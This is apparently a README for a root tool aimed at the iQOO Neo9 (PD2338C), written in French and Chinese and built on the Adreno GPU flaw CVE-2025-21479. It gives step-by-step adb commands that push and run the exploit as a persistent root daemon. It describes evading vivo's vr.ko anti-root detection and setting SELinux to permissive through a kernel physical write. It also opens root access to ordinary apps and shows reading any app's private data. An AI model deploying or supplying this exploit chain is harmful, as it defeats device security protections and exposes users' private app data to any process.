reaizuguo/vivo_iqoo_neo_9_root_research_on_cve-2025-21479Outil Caps-Root sans déverrouillage pour iQOO Neo9 (PD2338C)** — technique d'élévation de privilèges par écriture physique arbitraire basée sur CVE-2025-21479 (Adreno GPU SDS)
iQOO Neo9 (PD2338C) 免解锁 Caps-Root 工具 — 基于 CVE-2025-21479 (Adreno GPU SDS) 的任意物理写提权方案
无需解锁 Bootloader、无需刷机、无需 Magisk。通过 GPU 漏洞获得内核级任意物理写，patch 内核关键函数后以全能力 (41-bit caps) 常驻 root daemon，为 rootc / su 提供 root 能力。
核心特性：euid 保持 2000 以绕过 vivo vr.ko 反 root 检测（euid=0 会触发设备重启），root 能力与 uid=0 等价但进程身份安全。
CapEff: 000001ffffffffff (41 bits de capacités), pas une imitation au niveau applicatifvr.ko est neutralisée, zéro crash de l'appareilsu, directement utilisable depuis MT Manager / Termux| Élément | Valeur |
|---|---|
| Appareil | iQOO Neo9 (PD2338C) |
| Système | Android 15 |
| Noyau | 5.15.178-gaacdc35637c4-dirty (GKIv1) |
| GPU | Adreno 740 (A7xx) |
| Disposition mémoire | Pas de KASLR physique (stext_pa=0xa8010000), slide global des adresses virtuelles |
⚠️ L'exploit dépend de la disposition spécifique de ce noyau (offsets de symboles, fonctionnalité
VIVO_VMET_BREAK_KMI, comportement devr.ko) ; tout autre appareil/noyau nécessite une réadaptation.
# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1
Le script effectue automatiquement : envoi des trois fichiers → redémarrage pour obtenir la fenêtre froide → exécution de l'exploit en plusieurs boucles (taux de succès ~50 %/boucle) → démon prêt → vérification.
# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"
# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...
# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"
# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功
# 简单命令
adb shell "/data/local/tmp/rootc id"
# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"
su -c "ls /data/adb" # 任意 root 命令
su -c "chown 0:0 /path/file" # 文件属主改为 root:root
su # 交互模式 (stdin 逐行)
Configuration Termux : à exécuter une première fois (en root) :
# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"
MT Manager : Paramètres → ROOT → chemin su personnalisé → /data/local/tmp/su
L'environnement rootc/su maintient volontairement euid=2000 (pour éviter la détection anti-root vr.ko). Toutefois, les pilotes de certaines interfaces du noyau (comme /proc/vrp, certains nœuds sysfs) vérifient current_euid()==0, et même avec toutes les caps cela ne passe pas → utilisez alors u0 pour vous élever en vrai root grâce au CAP_SETUID de l'environnement rootd :
# 推送 (只需一次)
adb push client\u0 /data/local/tmp/u0
adb shell "chmod 755 /data/local/tmp/u0"
# 用法: u0 <绝对路径程序> <参数...> (execv 需要绝对路径!)
$cmd = '/data/local/tmp/u0 /system/bin/sh -c "id; cat /proc/vrp 2>&1"'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
adb shell "/data/local/tmp/rootc B64:$b64"
# 输出: uid=0(root) gid=0(root) ... ← 真 root 会话
setuid(0) ne déclenche pas de fatal vr.ko (le processus principal rootd vit longtemps en uid=0 ; les processus uid=0 ne sont pas sur la liste d'élimination)/proc/vrp renvoie toujours EPERM sous uid=0 + toutes les caps (le pilote vrp effectue une vérification active des permissions, ni DAC ni SELinux — rétro-ingénierie en cours) ; insmod sous uid=0 déclenche également un redémarrage de l'appareil (la détection du chargement de module ne regarde pas l'uid de l'appelant)docs\u0_说明.md pour la méthode de compilation/data/local/tmp est par défaut drwxrwxrwt (1777, propriétaire shell) — au niveau DAC, tout utilisateur peut lire/écrire. Ce qui bloque réellement les utilisateurs normaux (domaine untrusted_app), c'est SELinux (la politique refuse l'accès du domaine app à l'étiquette shell_data_file) :
# 1. DAC: 确保目录 1777 + 队列文件可写 (rootc 创建时已是 0666)
su -c "chmod 1777 /data/local/tmp"
# 2. SELinux: exploit 部署后处于 permissive, 无需额外操作 (permissive 不执行策略)
# ⚠️ 不要用 setenforce 0 —— vr.ko 的 avc_has_perm hook 会检测 setenforce 动作
# (kprobe 虽已中和, hfm 文本 hook 仍可能触发 fatal), 改走 exploit 的
# 物理写 permissive (run_selinux_rmw, 已内置在部署流程)
# 3. 验证 (用 app 身份 / run-as 执行 rootc)
run-as com.termux /data/local/tmp/rootc id # 或任意 app 执行
# 输出 [rc=0] 即普通用户可正常使用 root 能力
shell_data_file accessible uniquement au domaine shell) ; restauré après un nouveau déploiementsu -c "cat /data/local/tmp/xxx > /sdcard/xxx" (l'app accède à /sdcard sans problème)su -c id # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status" # 000001ffffffffff = 全能力
su -c "ls /data/adb" # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x" # root 专属操作
su -c "head -5 /proc/iomem" # 内核物理内存布局
su -c "ls /data/data/<任意包名>" # 任意 app 私有数据
CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
│ 特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
│
├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
│ → exec 后保留 effective caps (普通命令也能带全 caps)
├──▶ patch kptr_restrict = 0
│ → /proc/kallsyms 全地址可见
└──▶ patch vhangup stub (MODE=10 提权)
→ fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
→ fork 常驻 daemon (文件队列服务)
│
▼
rootc / su ──(文件队列 + B64)──▶ daemon ──▶ 任意 root 命令 (全 caps)